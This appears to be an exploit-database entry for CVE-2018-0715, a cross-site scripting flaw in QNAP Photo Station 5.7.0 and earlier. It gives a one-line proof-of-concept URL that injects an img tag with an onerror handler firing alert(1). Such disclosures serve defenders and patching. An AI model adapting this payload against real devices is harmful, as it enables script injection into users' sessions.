Lucene search

K
zdtSameer Goyal1337DAY-ID-31057
HistorySep 09, 2018 - 12:00 a.m.

QNAP Photo Station 5.7.0 - Cross-Site Scripting Vulnerability

2018-09-0900:00:00
Sameer Goyal
0day.today
24

0.008 Low

EPSS

Percentile

79.0%

Exploit for php platform in category web applications

# Exploit Title: QNAP Photo Station 5.7.0 - Cross-Site Scripting
# Exploit Author: Mitsuaki (Mitch) Shiraishi - secureworks
# Vendor Homepage: https://www.qnap.com/ja-jp/security-advisory/nas-201808-23
# Software Link: N/A
# Version: QNAP Photo Station versions 5.7.0 and earlier
# Tested on: N/A
# CVE : CVE-2018-0715
 
# PoC: 
 
https://***.***.***.***:8080/photo/abc/<img%20src%3Da.jpg%20onerror%3D%22alert(1)%22>.txt

#  0day.today [2018-09-09]  #

0.008 Low

EPSS

Percentile

79.0%